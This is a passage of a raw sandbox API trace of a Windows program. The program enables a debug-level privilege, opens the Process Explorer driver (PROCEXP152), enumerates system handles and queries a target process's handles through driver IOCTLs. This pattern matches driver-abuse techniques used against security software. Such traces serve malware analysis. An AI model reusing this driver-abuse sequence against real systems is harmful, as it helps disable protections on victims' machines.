| out: lpLuid=0x12e3e8*(LowPart=0x14, HighPart=0)) returned 1 [0134.801] AdjustTokenPrivileges (in: TokenHandle=0x7c, DisableAllPrivileges=0, NewState=0x12e3f0*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0134.801] GetLastError () returned 0x0 [0134.801] CloseHandle (hObject=0x7c) returned 1 [0134.801] GetLastError () returned 0x0 [0134.801] SetLastError (dwErrCode=0x0) [0134.801] GetLastError () returned 0x0 [0134.801] SetLastError (dwErrCode=0x0) [0134.801] CreateFileW (lpFileName="\\\\.\\PROCEXP152" (normalized: "\\device\\procexp152"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c [0134.802] SeCaptureSubjectContext (in: SubjectContext=0xfffff88005473598 | out: SubjectContext=0xfffff88005473598) [0134.802] ExGetPreviousMode () returned 0xfffffa80038e8001 [0134.802] SePrivilegeCheck (in: RequiredPrivileges=0xfffff880054735b8, SubjectSecurityContext=0xfffff88005473598, AccessMode=0x1 | out: RequiredPrivileges=0xfffff880054735b8) returned 1 [0134.802] SeReleaseSubjectContext (in: SubjectContext=0xfffff88005473598 | out: SubjectContext=0xfffff88005473598) [0134.802] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.802] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0134.802] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryInformationProcess") returned 0x771914a0 [0134.803] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0134.803] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryInformationThread") returned 0x77191560 [0134.803] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0134.803] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySystemInformation") returned 0x77191670 [0134.803] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0134.803] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySymbolicLinkObject") returned 0x771925d0 [0134.803] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0134.803] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryDirectoryObject") returned 0x77192440 [0134.803] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0134.803] GetProcAddress (hModule=0x77140000, lpProcName="NtOpenSymbolicLinkObject") returned 0x77192310 [0134.803] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0134.803] GetProcAddress (hModule=0x77140000, lpProcName="NtOpenDirectoryObject") returned 0x77191890 [0134.803] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0134.803] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryObject") returned 0x77191410 [0134.803] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0134.803] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySection") returned 0x77191820 [0134.804] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0134.804] GetProcAddress (hModule=0x77140000, lpProcName="RtlInitAnsiString") returned 0x77197f80 [0134.804] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0134.804] GetProcAddress (hModule=0x77140000, lpProcName="RtlInitUnicodeString") returned 0x77195280 [0134.804] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0134.804] GetProcAddress (hModule=0x77140000, lpProcName="RtlAnsiStringToUnicodeString") returned 0x77194e50 [0134.804] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0134.804] GetProcAddress (hModule=0x77140000, lpProcName="RtlFreeUnicodeString") returned 0x77195610 [0134.804] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0134.804] GetProcAddress (hModule=0x77140000, lpProcName="RtlFreeAnsiString") returned 0x77195610 [0134.804] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0134.804] GetProcAddress (hModule=0x77140000, lpProcName="RtlUnicodeStringToAnsiString") returned 0x77195c50 [0134.804] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x0, Length=0x0, ResultLength=0x0 | out: SystemInformation=0x0, ResultLength=0x0) returned 0xc0000004 [0134.804] GetLastError () returned 0x0 [0134.804] SetLastError (dwErrCode=0x0) [0134.804] GetLastError () returned 0x0 [0134.805] SetLastError (dwErrCode=0x0) [0134.805] GetDriveTypeW (lpRootPathName="A:\\") returned 0x1 [0134.805] GetLastError () returned 0x0 [0134.805] SetLastError (dwErrCode=0x0) [0134.805] GetLastError () returned 0x0 [0134.805] SetLastError (dwErrCode=0x0) [0134.805] GetDriveTypeW (lpRootPathName="B:\\") returned 0x1 [0134.805] GetLastError () returned 0x0 [0134.805] SetLastError (dwErrCode=0x0) [0134.805] GetLastError () returned 0x0 [0134.805] SetLastError (dwErrCode=0x0) [0134.805] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0134.805] GetLastError () returned 0x0 [0134.805] SetLastError (dwErrCode=0x0) [0134.805] GetLastError () returned 0x0 [0134.805] SetLastError (dwErrCode=0x0) [0134.805] RtlInitUnicodeString (in: DestinationString=0x12dac0, SourceString="\\DosDevices\\C:" | out: DestinationString="\\DosDevices\\C:") [0134.805] NtOpenSymbolicLinkObject (in: SymbolicLinkHandle=0x12db00, DesiredAccess=0x20001, ObjectAttributes=0x12db10 | out: SymbolicLinkHandle=0x12db00*=0xc0) returned 0x0 [0134.806] NtQuerySymbolicLinkObject (in: SymLinkObjHandle=0xc0, LinkTarget=0x12dbe0, DataWritten=0x12db08 | out: LinkTarget="\\Device\\HarddiskVolume1", DataWritten=0x12db08) returned 0x0 [0134.806] CloseHandle (hObject=0xc0) returned 1 [0134.806] RtlInitUnicodeString (in: DestinationString=0x12dac0, SourceString="\\Device\\HarddiskVolume1" | out: DestinationString="\\Device\\HarddiskVolume1") [0134.806] NtOpenSymbolicLinkObject (in: SymbolicLinkHandle=0x12db00, DesiredAccess=0x20001, ObjectAttributes=0x12db10 | out: SymbolicLinkHandle=0x12db00*=0x0) returned 0xc0000024 [0134.806] GetLastError () returned 0x0 [0134.806] SetLastError (dwErrCode=0x0) [0134.806] GetLastError () returned 0x0 [0134.806] SetLastError (dwErrCode=0x0) [0134.806] GetDriveTypeW (lpRootPathName="D:\\") returned 0x1 [0134.806] GetLastError () returned 0x0 [0134.806] SetLastError (dwErrCode=0x0) [0134.806] GetLastError () returned 0x0 [0134.806] SetLastError (dwErrCode=0x0) [0134.806] GetDriveTypeW (lpRootPathName="E:\\") returned 0x1 [0134.806] GetLastError () returned 0x0 [0134.807] SetLastError (dwErrCode=0x0) [0134.807] GetLastError () returned 0x0 [0134.807] SetLastError (dwErrCode=0x0) [0134.807] GetDriveTypeW (lpRootPathName="F:\\") returned 0x1 [0134.807] GetLastError () returned 0x0 [0134.807] SetLastError (dwErrCode=0x0) [0134.807] GetLastError () returned 0x0 [0134.807] SetLastError (dwErrCode=0x0) [0134.807] GetDriveTypeW (lpRootPathName="G:\\") returned 0x1 [0134.807] GetLastError () returned 0x0 [0134.807] SetLastError (dwErrCode=0x0) [0134.807] GetLastError () returned 0x0 [0134.807] SetLastError (dwErrCode=0x0) [0134.807] GetDriveTypeW (lpRootPathName="H:\\") returned 0x1 [0134.807] GetLastError () returned 0x0 [0134.807] SetLastError (dwErrCode=0x0) [0134.807] GetLastError () returned 0x0 [0134.807] SetLastError (dwErrCode=0x0) [0134.807] GetDriveTypeW (lpRootPathName="I:\\") returned 0x1 [0134.807] GetLastError () returned 0x0 [0134.808] SetLastError (dwErrCode=0x0) [0134.808] GetLastError () returned 0x0 [0134.808] SetLastError (dwErrCode=0x0) [0134.808] GetDriveTypeW (lpRootPathName="J:\\") returned 0x1 [0134.808] GetLastError () returned 0x0 [0134.808] SetLastError (dwErrCode=0x0) [0134.808] GetLastError () returned 0x0 [0134.808] SetLastError (dwErrCode=0x0) [0134.808] GetDriveTypeW (lpRootPathName="K:\\") returned 0x1 [0134.808] GetLastError () returned 0x0 [0134.808] SetLastError (dwErrCode=0x0) [0134.808] GetLastError () returned 0x0 [0134.808] SetLastError (dwErrCode=0x0) [0134.808] GetDriveTypeW (lpRootPathName="L:\\") returned 0x1 [0134.808] GetLastError () returned 0x0 [0134.808] SetLastError (dwErrCode=0x0) [0134.808] GetLastError () returned 0x0 [0134.808] SetLastError (dwErrCode=0x0) [0134.808] GetDriveTypeW (lpRootPathName="M:\\") returned 0x1 [0134.808] GetLastError () returned 0x0 [0134.809] SetLastError (dwErrCode=0x0) [0134.809] GetLastError () returned 0x0 [0134.809] SetLastError (dwErrCode=0x0) [0134.809] GetDriveTypeW (lpRootPathName="N:\\") returned 0x1 [0134.809] GetLastError () returned 0x0 [0134.809] SetLastError (dwErrCode=0x0) [0134.809] GetLastError () returned 0x0 [0134.809] SetLastError (dwErrCode=0x0) [0134.809] GetDriveTypeW (lpRootPathName="O:\\") returned 0x1 [0134.809] GetLastError () returned 0x0 [0134.809] SetLastError (dwErrCode=0x0) [0134.809] GetLastError () returned 0x0 [0134.809] SetLastError (dwErrCode=0x0) [0134.809] GetDriveTypeW (lpRootPathName="P:\\") returned 0x1 [0134.809] GetLastError () returned 0x0 [0134.809] SetLastError (dwErrCode=0x0) [0134.809] GetLastError () returned 0x0 [0134.809] SetLastError (dwErrCode=0x0) [0134.809] GetDriveTypeW (lpRootPathName="Q:\\") returned 0x1 [0134.810] GetLastError () returned 0x0 [0134.810] SetLastError (dwErrCode=0x0) [0134.810] GetLastError () returned 0x0 [0134.810] SetLastError (dwErrCode=0x0) [0134.810] GetDriveTypeW (lpRootPathName="R:\\") returned 0x1 [0134.810] GetLastError () returned 0x0 [0134.810] SetLastError (dwErrCode=0x0) [0134.810] GetLastError () returned 0x0 [0134.810] SetLastError (dwErrCode=0x0) [0134.810] GetDriveTypeW (lpRootPathName="S:\\") returned 0x1 [0134.810] GetLastError () returned 0x0 [0134.810] SetLastError (dwErrCode=0x0) [0134.810] GetLastError () returned 0x0 [0134.810] SetLastError (dwErrCode=0x0) [0134.810] GetDriveTypeW (lpRootPathName="T:\\") returned 0x1 [0134.810] GetLastError () returned 0x0 [0134.810] SetLastError (dwErrCode=0x0) [0134.810] GetLastError () returned 0x0 [0134.810] SetLastError (dwErrCode=0x0) [0134.810] GetDriveTypeW (lpRootPathName="U:\\") returned 0x1 [0134.811] GetLastError () returned 0x0 [0134.811] SetLastError (dwErrCode=0x0) [0134.811] GetLastError () returned 0x0 [0134.811] SetLastError (dwErrCode=0x0) [0134.811] GetDriveTypeW (lpRootPathName="V:\\") returned 0x1 [0134.811] GetLastError () returned 0x0 [0134.811] SetLastError (dwErrCode=0x0) [0134.811] GetLastError () returned 0x0 [0134.811] SetLastError (dwErrCode=0x0) [0134.811] GetDriveTypeW (lpRootPathName="W:\\") returned 0x1 [0134.811] GetLastError () returned 0x0 [0134.811] SetLastError (dwErrCode=0x0) [0134.811] GetLastError () returned 0x0 [0134.811] SetLastError (dwErrCode=0x0) [0134.811] GetDriveTypeW (lpRootPathName="X:\\") returned 0x1 [0134.811] GetLastError () returned 0x0 [0134.811] SetLastError (dwErrCode=0x0) [0134.811] GetLastError () returned 0x0 [0134.811] SetLastError (dwErrCode=0x0) [0134.811] GetDriveTypeW (lpRootPathName="Y:\\") returned 0x1 [0134.812] GetLastError () returned 0x0 [0134.812] SetLastError (dwErrCode=0x0) [0134.812] GetLastError () returned 0x0 [0134.812] SetLastError (dwErrCode=0x0) [0134.812] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x1 [0134.812] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x4000) returned 0x358b10 [0134.812] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x358b10, Length=0x4000, ResultLength=0x12e420 | out: SystemInformation=0x358b10, ResultLength=0x12e420*=0x6f848) returned 0xc0000004 [0134.816] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x358b10 | out: hHeap=0x330000) returned 1 [0134.816] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x8000) returned 0x358b10 [0134.816] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x358b10, Length=0x8000, ResultLength=0x12e420 | out: SystemInformation=0x358b10, ResultLength=0x12e420*=0x6f848) returned 0xc0000004 [0134.819] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x358b10 | out: hHeap=0x330000) returned 1 [0134.819] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10000) returned 0x358b10 [0134.820] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x358b10, Length=0x10000, ResultLength=0x12e420 | out: SystemInformation=0x358b10, ResultLength=0x12e420*=0x6f848) returned 0xc0000004 [0134.825] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x358b10 | out: hHeap=0x330000) returned 1 [0134.825] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20000) returned 0x358b10 [0134.825] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x358b10, Length=0x20000, ResultLength=0x12e420 | out: SystemInformation=0x358b10, ResultLength=0x12e420*=0x6f848) returned 0xc0000004 [0134.877] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x358b10 | out: hHeap=0x330000) returned 1 [0134.877] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40000) returned 0x358b10 [0134.878] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x358b10, Length=0x40000, ResultLength=0x12e420 | out: SystemInformation=0x358b10, ResultLength=0x12e420*=0x6f9b0) returned 0xc0000004 [0134.889] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x358b10 | out: hHeap=0x330000) returned 1 [0134.889] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x80000) returned 0x1e40080 [0134.890] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x1e40080, Length=0x80000, ResultLength=0x12e420 | out: SystemInformation=0x1e40080, ResultLength=0x12e420*=0x6f9d8) returned 0x0 [0134.912] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x4000) returned 0x358b10 [0134.912] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x358b10, Length=0x4000, ResultLength=0x12e420 | out: SystemInformation=0x358b10, ResultLength=0x12e420*=0x12668) returned 0xc0000004 [0134.913] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x358b10 | out: hHeap=0x330000) returned 1 [0134.913] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x8000) returned 0x358b10 [0134.913] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x358b10, Length=0x8000, ResultLength=0x12e420 | out: SystemInformation=0x358b10, ResultLength=0x12e420*=0x12668) returned 0xc0000004 [0134.913] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x358b10 | out: hHeap=0x330000) returned 1 [0134.913] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0xc000) returned 0x358b10 [0134.913] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x358b10, Length=0xc000, ResultLength=0x12e420 | out: SystemInformation=0x358b10, ResultLength=0x12e420*=0x12668) returned 0xc0000004 [0134.913] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x358b10 | out: hHeap=0x330000) returned 1 [0134.913] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10000) returned 0x358b10 [0134.913] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x358b10, Length=0x10000, ResultLength=0x12e420 | out: SystemInformation=0x358b10, ResultLength=0x12e420*=0x12668) returned 0xc0000004 [0134.914] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x358b10 | out: hHeap=0x330000) returned 1 [0134.914] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x14000) returned 0x358b10 [0134.914] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x358b10, Length=0x14000, ResultLength=0x12e420 | out: SystemInformation=0x358b10, ResultLength=0x12e420*=0x12668) returned 0x0 [0134.914] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc58) returned 0xc0 [0134.914] GetCurrentProcess () returned 0xffffffffffffffff [0134.915] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xbc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0134.915] CloseHandle (hObject=0xc0) returned 1 [0134.915] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0134.915] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x78) returned 0x354c50 [0134.915] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x354c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x354c50, ReturnLength=0x0) returned 0x0 [0134.915] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x354c50 | out: hHeap=0x330000) returned 1 [0134.915] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0134.915] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0134.915] PsLookupProcessByProcessId (in: ProcessId=0xc58, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.915] PsAcquireProcessExitSynchronization () returned 0x0 [0134.915] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0) [0134.915] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80037a0060, HandleInformation=0x0) returned 0x0 [0134.915] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.915] PsReleaseProcessExitSynchronization () returned 0x2 [0134.915] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x22 [0134.915] ObQueryNameString (in: Object=0xfffffa80037a0060, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0134.915] ObfDereferenceObject (Object=0xfffffa80037a0060) returned 0x3 [0134.915] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.915] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x330000) returned 1 [0134.915] CloseHandle (hObject=0xc4) returned 1 [0134.915] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc58) returned 0xc4 [0134.915] GetCurrentProcess () returned 0xffffffffffffffff [0134.915] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0xb8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0134.915] CloseHandle (hObject=0xc4) returned 1 [0134.915] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0134.915] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x78) returned 0x354c50 [0134.915] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x354c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x354c50, ReturnLength=0x0) returned 0x0 [0134.915] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x354c50 | out: hHeap=0x330000) returned 1 [0134.915] NtQueryInformationThread (in: ThreadHandle=0xc0, ThreadInformationClass=0x0, ThreadInformation=0x12d508, ThreadInformationLength=0x30, ReturnLength=0x12d4b0 | out: ThreadInformation=0x12d508, ReturnLength=0x12d4b0) returned 0xc0000022 [0134.915] CloseHandle (hObject=0xc0) returned 1 [0134.916] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc58) returned 0xc0 [0134.916] GetCurrentProcess () returned 0xffffffffffffffff [0134.916] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xa8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0134.916] CloseHandle (hObject=0xc0) returned 1 [0134.916] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0134.916] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x88) returned 0x354c50 [0134.916] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x354c50, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x354c50, ReturnLength=0x0) returned 0x0 [0134.916] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x354c50 | out: hHeap=0x330000) returned 1 [0134.916] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0134.916] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0134.916] PsLookupProcessByProcessId (in: ProcessId=0xc58, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.916] PsAcquireProcessExitSynchronization () returned 0x0 [0134.916] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0) [0134.916] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80037b8970, HandleInformation=0x0) returned 0x0 [0134.916] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.916] PsReleaseProcessExitSynchronization () returned 0x2 [0134.916] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x22 [0134.916] ObQueryNameString (in: Object=0xfffffa80037b8970, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0134.916] ObfDereferenceObject (Object=0xfffffa80037b8970) returned 0x2 [0134.916] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.916] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x330000) returned 1 [0134.916] CloseHandle (hObject=0xc4) returned 1 [0134.916] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc58) returned 0xc4 [0134.916] GetCurrentProcess () returned 0xffffffffffffffff [0134.916] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0xa4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0134.916] CloseHandle (hObject=0xc4) returned 1 [0134.916] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0134.916] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x88) returned 0x354c50 [0134.916] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x354c50, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x354c50, ReturnLength=0x0) returned 0x0 [0134.916] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x354c50 | out: hHeap=0x330000) returned 1 [0134.916] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0134.916] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0134.916] PsLookupProcessByProcessId (in: ProcessId=0xc58, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.917] PsAcquireProcessExitSynchronization () returned 0x0 [0134.917] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0) [0134.917] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003869140, HandleInformation=0x0) returned 0x0 [0134.917] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.917] PsReleaseProcessExitSynchronization () returned 0x2 [0134.917] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x22 [0134.917] ObQueryNameString (in: Object=0xfffffa8003869140, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0134.917] ObfDereferenceObject (Object=0xfffffa8003869140) returned 0x3 [0134.917] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.917] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x330000) returned 1 [0134.917] CloseHandle (hObject=0xc0) returned 1 [0134.917] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc58) returned 0xc0 [0134.917] GetCurrentProcess () returned 0xffffffffffffffff [0134.917] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xa0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0134.917] CloseHandle (hObject=0xc0) returned 1 [0134.917] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0134.917] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x80) returned 0x354c50 [0134.917] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x354c50, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x354c50, ReturnLength=0x0) returned 0x0 [0134.917] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x354c50 | out: hHeap=0x330000) returned 1 [0134.917] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0134.917] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0134.917] PsLookupProcessByProcessId (in: ProcessId=0xc58, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.917] PsAcquireProcessExitSynchronization () returned 0x0 [0134.917] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0) [0134.917] ObReferenceObjectByHandle (in: Handle=0xa0, DesiredAccess=0x0, 